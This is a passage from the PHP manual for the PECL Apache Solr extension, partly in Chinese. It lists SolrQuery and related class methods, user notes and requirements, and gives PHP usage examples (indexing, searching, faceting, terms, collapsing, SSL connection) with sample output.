    • SolrQuery::removeExpandFilterQuery — Removes an expand filter query
    • SolrQuery::removeExpandSortField — Removes an expand sort field from the expand.sort parameter
    • SolrQuery::removeFacetDateField — Removes one of the facet date fields
    • SolrQuery::removeFacetDateOther — Removes one of the facet.date.other parameters
    • SolrQuery::removeFacetField — Removes one of the facet.date parameters
    • SolrQuery::removeFacetQuery — Removes one of the facet.query parameters
    • SolrQuery::removeField — Removes a field from the list of fields
    • SolrQuery::removeFilterQuery — Removes a filter query
    • SolrQuery::removeHighlightField — Removes one of the fields used for highlighting
    • SolrQuery::removeMltField — Removes one of the moreLikeThis fields
    • SolrQuery::removeMltQueryField — Removes one of the moreLikeThis query fields
    • SolrQuery::removeSortField — Removes one of the sort fields
    • SolrQuery::removeStatsFacet — Removes one of the stats.facet parameters
    • SolrQuery::removeStatsField — Removes one of the stats.field parameters
    • SolrQuery::setEchoHandler — Toggles the echoHandler parameter
    • SolrQuery::setEchoParams — Determines what kind of parameters to include in the response
    • SolrQuery::setExpand — Enables/Disables the Expand Component
    • SolrQuery::setExpandQuery — Sets the expand.q parameter
    • SolrQuery::setExpandRows — Sets the number of rows to display in each group (expand.rows). Server Default 5
    • SolrQuery::setExplainOther — Sets the explainOther common query parameter
    • SolrQuery::setFacet — Maps to the facet parameter. Enables or disables facetting
    • SolrQuery::setFacetDateEnd — Maps to facet.date.end
    • SolrQuery::setFacetDateGap — Maps to facet.date.gap
    • SolrQuery::setFacetDateHardEnd — Maps to facet.date.hardend
    • SolrQuery::setFacetDateStart — Maps to facet.date.start
    • SolrQuery::setFacetEnumCacheMinDefaultFrequency — Sets the minimum document frequency used for determining term count
    • SolrQuery::setFacetLimit — Maps to facet.limit
    • SolrQuery::setFacetMethod — Specifies the type of algorithm to use when faceting a field
    • SolrQuery::setFacetMinCount — Maps to facet.mincount
    • SolrQuery::setFacetMissing — Maps to facet.missing
    • SolrQuery::setFacetOffset — Sets the offset into the list of constraints to allow for pagination
    • SolrQuery::setFacetPrefix — Specifies a string prefix with which to limits the terms on which to facet
    • SolrQuery::setFacetSort — Determines the ordering of the facet field constraints
    • SolrQuery::setGroup — Enable/Disable result grouping (group parameter)
    • SolrQuery::setGroupCachePercent — Enables caching for result grouping
    • SolrQuery::setGroupFacet — Sets group.facet parameter
    • SolrQuery::setGroupFormat — Sets the group format, result structure (group.format parameter)
    • SolrQuery::setGroupLimit — Specifies the number of results to return for each group. The server default value is 1
    • SolrQuery::setGroupMain — If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
    • SolrQuery::setGroupNGroups — If true, Solr includes the number of groups that have matched the query in the results
    • SolrQuery::setGroupOffset — Sets the group.offset parameter
    • SolrQuery::setGroupTruncate — If true, facet counts are based on the most relevant document of each group matching the query
    • SolrQuery::setHighlight — Enables or disables highlighting
    • SolrQuery::setHighlightAlternateField — Specifies the backup field to use
    • SolrQuery::setHighlightFormatter — Specify a formatter for the highlight output
    • SolrQuery::setHighlightFragmenter — Sets a text snippet generator for highlighted text
    • SolrQuery::setHighlightFragsize — The size of fragments to consider for highlighting
    • SolrQuery::setHighlightHighlightMultiTerm — Use SpanScorer to highlight phrase terms
    • SolrQuery::setHighlightMaxAlternateFieldLength — Sets the maximum number of characters of the field to return
    • SolrQuery::setHighlightMaxAnalyzedChars — Specifies the number of characters into a document to look for suitable snippets
    • SolrQuery::setHighlightMergeContiguous — Whether or not to collapse contiguous fragments into a single fragment
    • SolrQuery::setHighlightRegexMaxAnalyzedChars — Specify the maximum number of characters to analyze
    • SolrQuery::setHighlightRegexPattern — Specify the regular expression for fragmenting
    • SolrQuery::setHighlightRegexSlop — Sets the factor by which the regex fragmenter can stray from the ideal fragment size
    • SolrQuery::setHighlightRequireFieldMatch — Require field matching during highlighting
    • SolrQuery::setHighlightSimplePost — Sets the text which appears after a highlighted term
    • SolrQuery::setHighlightSimplePre — Sets the text which appears before a highlighted term
    • SolrQuery::setHighlightSnippets — Sets the maximum number of highlighted snippets to generate per field
    • SolrQuery::setHighlightUsePhraseHighlighter — Whether to highlight phrase terms only when they appear within the query phrase
    • SolrQuery::setMlt — Enables or disables moreLikeThis
    • SolrQuery::setMltBoost — Set if the query will be boosted by the interesting term relevance
    • SolrQuery::setMltCount — Set the number of similar documents to return for each result
    • SolrQuery::setMltMaxNumQueryTerms — Sets the maximum number of query terms included
    • SolrQuery::setMltMaxNumTokens — Specifies the maximum number of tokens to parse
    • SolrQuery::setMltMaxWordLength — Sets the maximum word length
    • SolrQuery::setMltMinDocFrequency — Sets the mltMinDoc frequency
    • SolrQuery::setMltMinTermFrequency — Sets the frequency below which terms will be ignored in the source docs
    • SolrQuery::setMltMinWordLength — Sets the minimum word length
    • SolrQuery::setOmitHeader — Exclude the header from the returned results
    • SolrQuery::setQuery — Sets the search query
    • SolrQuery::setRows — Specifies the maximum number of rows to return in the result
    • SolrQuery::setShowDebugInfo — Flag to show debug information
    • SolrQuery::setStart — Specifies the number of rows to skip
    • SolrQuery::setStats — Enables or disables the Stats component
    • SolrQuery::setTerms — Enables or disables the TermsComponent
    • SolrQuery::setTermsField — Sets the name of the field to get the Terms from
    • SolrQuery::setTermsIncludeLowerBound — Include the lower bound term in the result set
    • SolrQuery::setTermsIncludeUpperBound — Include the upper bound term in the result set
    • SolrQuery::setTermsLimit — Sets the maximum number of terms to return
    • SolrQuery::setTermsLowerBound — Specifies the Term to start from
    • SolrQuery::setTermsMaxCount — Sets the maximum document frequency
    • SolrQuery::setTermsMinCount — Sets the minimum document frequency
    • SolrQuery::setTermsPrefix — Restrict matches to terms that start with the prefix
    • SolrQuery::setTermsReturnRaw — Return the raw characters of the indexed term
    • SolrQuery::setTermsSort — Specifies how to sort the returned terms
    • SolrQuery::setTermsUpperBound — Sets the term to stop at
    • SolrQuery::setTimeAllowed — The time allowed for search to finish
  • SolrDisMaxQuery — The SolrDisMaxQuery class
    • SolrDisMaxQuery::addBigramPhraseField — Adds a Phrase Bigram Field (pf2 parameter)
    • SolrDisMaxQuery::addBoostQuery — Adds a boost query field with value and optional boost (bq parameter)
    • SolrDisMaxQuery::addPhraseField — Adds a Phrase Field (pf parameter)
    • SolrDisMaxQuery::addQueryField — Add a query field with optional boost (qf parameter)
    • SolrDisMaxQuery::addTrigramPhraseField — Adds a Trigram Phrase Field (pf3 parameter)
    • SolrDisMaxQuery::addUserField — Adds a field to User Fields Parameter (uf)
    • SolrDisMaxQuery::__construct — Class Constructor
    • SolrDisMaxQuery::removeBigramPhraseField — Removes phrase bigram field (pf2 parameter)
    • SolrDisMaxQuery::removeBoostQuery — Removes a boost query partial by field name (bq)
    • SolrDisMaxQuery::removePhraseField — Removes a Phrase Field (pf parameter)
    • SolrDisMaxQuery::removeQueryField — Removes a Query Field (qf parameter)
    • SolrDisMaxQuery::removeTrigramPhraseField — Removes a Trigram Phrase Field (pf3 parameter)
    • SolrDisMaxQuery::removeUserField — Removes a field from The User Fields Parameter (uf)
    • SolrDisMaxQuery::setBigramPhraseFields — Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter
    • SolrDisMaxQuery::setBigramPhraseSlop — Sets Bigram Phrase Slop (ps2 parameter)
    • SolrDisMaxQuery::setBoostFunction — Sets a Boost Function (bf parameter)
    • SolrDisMaxQuery::setBoostQuery — Directly Sets Boost Query Parameter (bq)
    • SolrDisMaxQuery::setMinimumMatch — Set Minimum "Should" Match (mm)
    • SolrDisMaxQuery::setPhraseFields — Sets Phrase Fields and their boosts (and slops) using pf2 parameter
    • SolrDisMaxQuery::setPhraseSlop — Sets the default slop on phrase queries (ps parameter)
    • SolrDisMaxQuery::setQueryAlt — Set Query Alternate (q.alt parameter)
    • SolrDisMaxQuery::setQueryPhraseSlop — Specifies the amount of slop permitted on phrase queries explicitly included in the user's query string (qf parameter)
    • SolrDisMaxQuery::setTieBreaker — Sets Tie Breaker parameter (tie parameter)
    • SolrDisMaxQuery::setTrigramPhraseFields — Directly Sets Trigram Phrase Fields (pf3 parameter)
    • SolrDisMaxQuery::setTrigramPhraseSlop — Sets Trigram Phrase Slop (ps3 parameter)
    • SolrDisMaxQuery::setUserFields — Sets User Fields parameter (uf)
    • SolrDisMaxQuery::useDisMaxQueryParser — Switch QueryParser to be DisMax Query Parser
    • SolrDisMaxQuery::useEDisMaxQueryParser — Switch QueryParser to be EDisMax
  • SolrCollapseFunction — The SolrCollapseFunction class
    • SolrCollapseFunction::__construct — Constructor
    • SolrCollapseFunction::getField — Returns the field that is being collapsed on
    • SolrCollapseFunction::getHint — Returns collapse hint
    • SolrCollapseFunction::getMax — Returns max parameter
    • SolrCollapseFunction::getMin — Returns min parameter
    • SolrCollapseFunction::getNullPolicy — Returns null policy
    • SolrCollapseFunction::getSize — Returns size parameter
    • SolrCollapseFunction::setField — Sets the field to collapse on
    • SolrCollapseFunction::setHint — Sets collapse hint
    • SolrCollapseFunction::setMax — Selects the group heads by the max value of a numeric field or function query
    • SolrCollapseFunction::setMin — Sets the initial size of the collapse data structures when collapsing on a numeric field only
    • SolrCollapseFunction::setNullPolicy — Sets the NULL Policy
    • SolrCollapseFunction::setSize — Sets the initial size of the collapse data structures when collapsing on a numeric field only
    • SolrCollapseFunction::__toString — Returns a string representing the constructed collapse function
  • SolrException — The SolrException class
    • SolrException::getInternalInfo — Returns internal information where the Exception was thrown
  • SolrClientException — The SolrClientException class
    • SolrClientException::getInternalInfo — Returns internal information where the Exception was thrown
  • SolrServerException — The SolrServerException class
    • SolrServerException::getInternalInfo — Returns internal information where the Exception was thrown
  • SolrIllegalArgumentException — The SolrIllegalArgumentException class
    • SolrIllegalArgumentException::getInternalInfo — Returns internal information where the Exception was thrown
  • SolrIllegalOperationException — The SolrIllegalOperationException class
    • SolrIllegalOperationException::getInternalInfo — Returns internal information where the Exception was thrown
  • SolrMissingMandatoryParameterException — The SolrMissingMandatoryParameterException class

User Contributed Notes

ASchmidt at Anamera dot net 08-Mar-2019 07:28
This extension was last updated for PHP 7.1 three years ago.

As of this date, it has not been released for PHP 7.2 or PHP 7.3. In other words, it's not actively maintained.
Corentin Larose 21-Sep-2012 02:56
Hello,

you have to use SolrQuery::addFilterQuery() instead of SolrQuery::addFacetQuery() which is intended for another goal.

SolrQuery::addFilterQuery() : fq
SolrQuery::addFacetQuery() : facet.query

Regards,

Corentin Larose - CTO@QAPA
mixwise at gmail dot com 18-Sep-2011 06:19
solr_get_version(): 1.0.1
solr:3.3.0

I had problems trying to pass facet queries(fq not facet.query) using this extension.

So I made a work around by extending the SolrQuery class and adding a new method for fq.
<?php
class SolrQuery2 extends SolrQuery{
    public function addFQ($facetQuery){
        $this->addParam('fq', $facetQuery);
    }
}
?>


简介

Solr 扩展允许 PHP 与 Apache Solr 服务器进行有效通信。

Solr 扩展是极其快速、轻量级、功能丰富的库，允许 PHP 开发人员与 Solr 服务器实例进行有效通信。

PECL 扩展的 1.x 版本支持 Apache Solr Server 1.3-3.x

PECL 扩展的 2.x 版本支持 Apache Solr Server 4.0+

还有内置工具可以添加文档和更新 solr 服务器。

在搜索文档时，还有对服务器构建高级查询的工具。

User Contributed Notes

peter at softcoded dot com 01-Jul-2012 04:08
For more up to date information see: http://pecl.php.net/package/solr

"It [the  Apache Solr PHP extension] effectively simplifies the process of interacting with Apache Solr using PHP5 and it already comes with built-in readiness for the latest features added in Solr 3.1 ..."


需求

The libxml and curl extensions must also be enabled for the Apache Solr extension to be available.

libxml2 2.6.31 or later is required.

libcurl 7.18.0 or later is also required.

The above library versions are required and attempting to hack the code to make it compile is strongly discouraged. It will fail, possibly with errors that could be hard to debug

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/solr.

For help and support, please visit the extension google group. » Apache Solr PHP Extension

此扩展在 Windows 平台的二进制扩展 (DLL 文件) PECL 可以在 PECL 官方网站上下载。

Note:

The solr module can be compiled in debug mode by passing the --enable-solr-debug flag to configure

When building manually, be sure to include curl and libxml support within the build.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

SOLR_MAJOR_VERSION (int)
SOLR_MINOR_VERSION (int)
SOLR_PATCH_VERSION (int)
SOLR_EXTENSION_VERSION (string)

User Contributed Notes

There are no user contributed notes for this page.


Solr 函数

Table of Contents

  • solr_get_version — 返回当前Solr扩展的版本

User Contributed Notes

There are no user contributed notes for this page.


返回当前Solr扩展的版本

  • ? Solr 函数
  • 示例 ?
  • PHP Manual
  • Solr 函数
  • 返回当前Solr扩展的版本

solr_get_version

(PECL solr >= 0.9.1)

solr_get_version — 返回当前Solr扩展的版本

说明

solr_get_version(): string

函数已字符串形式返回扩展的当前版本。

参数

此函数没有参数。

返回值

获取成功则返回版本号，否则返回 false 。

错误／异常

此函数不抛出异常

示例

Example #1 solr_get_version() 示例

<?php

$solr_version = solr_get_version();

print $solr_version;

?>

以上示例的输出类似于：

0.9.6

参见

  • SolrUtils::getSolrVersion() - Returns the current version of the Solr extension

User Contributed Notes

There are no user contributed notes for this page.


示例

Examples of how to use the Apache Solr extension in PHP

Example #1 Contents of the BootStrap file

<?php

/* Domain name of the Solr server */
define('SOLR_SERVER_HOSTNAME', 'solr.example.com');

/* Whether or not to run in secure mode */
define('SOLR_SECURE', true);

/* HTTP Port to connection */
define('SOLR_SERVER_PORT', ((SOLR_SECURE) ? 8443 : 8983));

/* HTTP Basic Authentication Username */
define('SOLR_SERVER_USERNAME', 'admin');

/* HTTP Basic Authentication password */
define('SOLR_SERVER_PASSWORD', 'changeit');

/* HTTP connection timeout */
/* This is maximum time in seconds allowed for the http data transfer operation. Default value is 30 seconds */
define('SOLR_SERVER_TIMEOUT', 10);

/* File name to a PEM-formatted private key + private certificate (concatenated in that order) */
define('SOLR_SSL_CERT', 'certs/combo.pem');

/* File name to a PEM-formatted private certificate only */
define('SOLR_SSL_CERT_ONLY', 'certs/solr.crt');

/* File name to a PEM-formatted private key */
define('SOLR_SSL_KEY', 'certs/solr.key');

/* Password for PEM-formatted private key file */
define('SOLR_SSL_KEYPASSWORD', 'StrongAndSecurePassword');

/* Name of file holding one or more CA certificates to verify peer with*/
define('SOLR_SSL_CAINFO', 'certs/cacert.crt');

/* Name of directory holding multiple CA certificates to verify peer with */
define('SOLR_SSL_CAPATH', 'certs/');

?>

Example #2 Adding a document to the index

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

print_r($updateResponse->getResponse());

?>

以上示例的输出类似于：

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 446
        )

)

Example #3 Merging one document into another document

<?php

include "bootstrap.php";

$doc = new SolrDocument();

$second_doc = new SolrDocument();

$doc->addField('id', 1123);

$doc->features = "PHP Client Side";
$doc->features = "Fast development cycles";

$doc['cat'] = 'Software';
$doc['cat'] = 'Custom Search';
$doc->cat = 'Information Technology';

$second_doc->addField('cat', 'Lucene Search');

$second_doc->merge($doc, true);

print_r($second_doc->toArray());

?>

以上示例的输出类似于：

Array
(
    [document_boost] => 0
    [field_count] => 3
    [fields] => Array
        (
            [0] => SolrDocumentField Object
                (
                    [name] => cat
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => Software
                            [1] => Custom Search
                            [2] => Information Technology
                        )

                )

            [1] => SolrDocumentField Object
                (
                    [name] => id
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => 1123
                        )

                )

            [2] => SolrDocumentField Object
                (
                    [name] => features
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => PHP Client Side
                            [1] => Fast development cycles
                        )

                )

        )

)

Example #4 Searching for documents - SolrObject responses

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response);

?>

以上示例的输出类似于：

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [wt] => xml
                    [rows] => 50
                    [start] => 0
                    [indent] => on
                    [q] => lucene
                    [fl] => cat,features,id,timestamp
                    [version] => 2.2
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 3
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => Software
                                    [1] => Lucene
                                )

                            [id] => 334456
                        )

                    [1] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => Software
                                    [1] => Lucene
                                )

                            [id] => 334455
                        )

                    [2] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => software
                                    [1] => search
                                )

                            [features] => Array
                                (
                                    [0] => Advanced Full-Text Search Capabilities using Lucene
                                    [1] => Optimized for High Volume Web Traffic
                                    [2] => Standards Based Open Interfaces - XML and HTTP
                                    [3] => Comprehensive HTML Administration Interfaces
                                    [4] => Scalability - Efficient Replication to other Solr Search Servers
                                    [5] => Flexible and Adaptable with XML configuration and Schema
                                    [6] => Good unicode support: héllo (hello with an accent over the e)
                                )

                            [id] => SOLR1000
                            [timestamp] => 2009-09-04T20:38:55.906
                        )

                )

        )

)

Example #5 Searching for documents - SolrDocument responses

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$query_response->setParseMode(SolrQueryResponse::PARSE_SOLR_DOC);

$response = $query_response->getResponse();

print_r($response);

?>

以上示例的输出类似于：

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [wt] => xml
                    [rows] => 50
                    [start] => 0
                    [indent] => on
                    [q] => lucene
                    [fl] => cat,features,id,timestamp
                    [version] => 2.2
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 3
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 19740
                        )

                    [1] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 25485
                        )

                    [2] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 25052
                        )

                )

        )

)

Example #6 Simple TermsComponent example - basic

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

$query->setTermsField('cat');

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

以上示例的输出类似于：

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 2
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [electronics] => 14
                    [Lucene] => 4
                    [Software] => 4
                    [memory] => 3
                    [card] => 2
                    [connector] => 2
                    [drive] => 2
                    [graphics] => 2
                    [hard] => 2
                    [monitor] => 2
                )

        )

)

Example #7 Simple TermsComponent example - using a prefix

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

/* Return only terms starting with $prefix */
$prefix = 'c';

$query->setTermsField('cat')->setTermsPrefix($prefix);

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

以上示例的输出类似于：

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [card] => 2
                    [connector] => 2
                    [camera] => 1
                    [copier] => 1
                )

        )

)

Example #8 Simple TermsComponent example - specifying a minimum frequency

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

/* Return only terms starting with $prefix */
$prefix = 'c';

/* Return only terms with a frequency of 2 or greater */
$min_frequency = 2;

$query->setTermsField('cat')->setTermsPrefix($prefix)->setTermsMinCount($min_frequency);

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

以上示例的输出类似于：

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 0
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [card] => 2
                    [connector] => 2
                )

        )

)

Example #9 Simple Facet Example

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2);

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

以上示例的输出类似于：

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
            [1] => 3
            [184] => 3
            [2] => 3
            [3200] => 3
            [400] => 3
            [500] => 3
            [ddr] => 3
            [i] => 3
            [ipod] => 3
            [memori] => 3
            [pc] => 3
            [pin] => 3
            [pod] => 3
            [sdram] => 3
            [system] => 3
            [unbuff] => 3
            [canon] => 2
            [corsair] => 2
            [drive] => 2
            [hard] => 2
            [mb] => 2
            [n] => 2
            [power] => 2
            [retail] => 2
            [video] => 2
            [x] => 2
        )

)

Example #10 Simple Facet Example - with optional field override for mincount

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2)->setFacetMinCount(4, 'name');

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

以上示例的输出类似于：

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
        )

)

Example #11 Facet Date Example

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetDateField('manufacturedate_dt');

$query->setFacetDateStart('2006-02-13T00:00:00Z');

$query->setFacetDateEnd('2012-02-13T00:00:00Z');

$query->setFacetDateGap('+1YEAR');

$query->setFacetDateHardEnd(1);

$query->addFacetDateOther('before');

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_dates;

print_r($facet_data);

?>

以上示例的输出类似于：

SolrObject Object
(
    [manufacturedate_dt] => SolrObject Object
        (
            [2006-02-13T00:00:00Z] => 9
            [2007-02-13T00:00:00Z] => 0
            [2008-02-13T00:00:00Z] => 0
            [2009-02-13T00:00:00Z] => 0
            [2010-02-13T00:00:00Z] => 0
            [2011-02-13T00:00:00Z] => 0
            [gap] => +1YEAR
            [start] => 2006-02-13T00:00:00Z
            [end] => 2012-02-13T00:00:00Z
            [before] => 2
        )

)

Example #12 Connecting to SSL-Enabled Server

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'timeout' => SOLR_SERVER_TIMEOUT,
'secure' => SOLR_SECURE,
'ssl_cert' => SOLR_SSL_CERT_ONLY,
'ssl_key' => SOLR_SSL_KEY,
'ssl_keypassword' => SOLR_SSL_KEYPASSWORD,
'ssl_cainfo' => SOLR_SSL_CAINFO,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2)->setFacetMinCount(4, 'name');

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

以上示例的输出类似于：

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
        )

)

Example #13 Collapsing a SolrQuery

<?php
include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_PATH
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$collapseFunction = new SolrCollapseFunction('manu_id_s');

$collapseFunction
->setSize(2)
->setNullPolicy(SolrCollapseFunction::NULLPOLICY_IGNORE);

$query
->collapse($collapseFunction)
->setRows(4);

$queryResponse = $client->query($query);

$response = $queryResponse->getResponse();

print_r($response);
?>

以上示例的输出类似于：

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [q] => *:*
                    [indent] => on
                    [fq] => {!collapse field=manu_id_s size=2 nullPolicy=ignore}
                    [rows] => 4
                    [version] => 2.2
                    [wt] => xml
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 14
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [id] => SP2514N
                            [name] => Array
                                (
                                    [0] => Samsung SpinPoint P120 SP2514N - hard drive - 250 GB - ATA-133
                                )

                            [manu] => Array
                                (
                                    [0] => Samsung Electronics Co. Ltd.
                                )

                            [manu_id_s] => samsung
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => 7200RPM, 8MB cache, IDE Ultra ATA-133
                                    [1] => NoiseGuard, SilentSeek technology, Fluid Dynamic Bearing (FDB) motor
                                )

                            [price] => Array
                                (
                                    [0] => 92
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [store] => Array
                                (
                                    [0] => 35.0752,-97.032
                                )

                            [_version_] => 1510294336412057600
                        )

                    [1] => SolrObject Object
                        (
                            [id] => 6H500F0
                            [name] => Array
                                (
                                    [0] => Maxtor DiamondMax 11 - hard drive - 500 GB - SATA-300
                                )

                            [manu] => Array
                                (
                                    [0] => Maxtor Corp.
                                )

                            [manu_id_s] => maxtor
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => SATA 3.0Gb/s, NCQ
                                    [1] => 8.5ms seek
                                    [2] => 16MB cache
                                )

                            [price] => Array
                                (
                                    [0] => 350
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 45.17614,-93.87341
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [_version_] => 1510294336449806336
                        )

                    [2] => SolrObject Object
                        (
                            [id] => F8V7067-APL-KIT
                            [name] => Array
                                (
                                    [0] => Belkin Mobile Power Cord for iPod w/ Dock
                                )

                            [manu] => Array
                                (
                                    [0] => Belkin
                                )

                            [manu_id_s] => belkin
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => connector
                                )

                            [features] => Array
                                (
                                    [0] => car power adapter, white
                                )

                            [weight] => Array
                                (
                                    [0] => 4
                                )

                            [price] => Array
                                (
                                    [0] => 19.95
                                )

                            [popularity] => Array
                                (
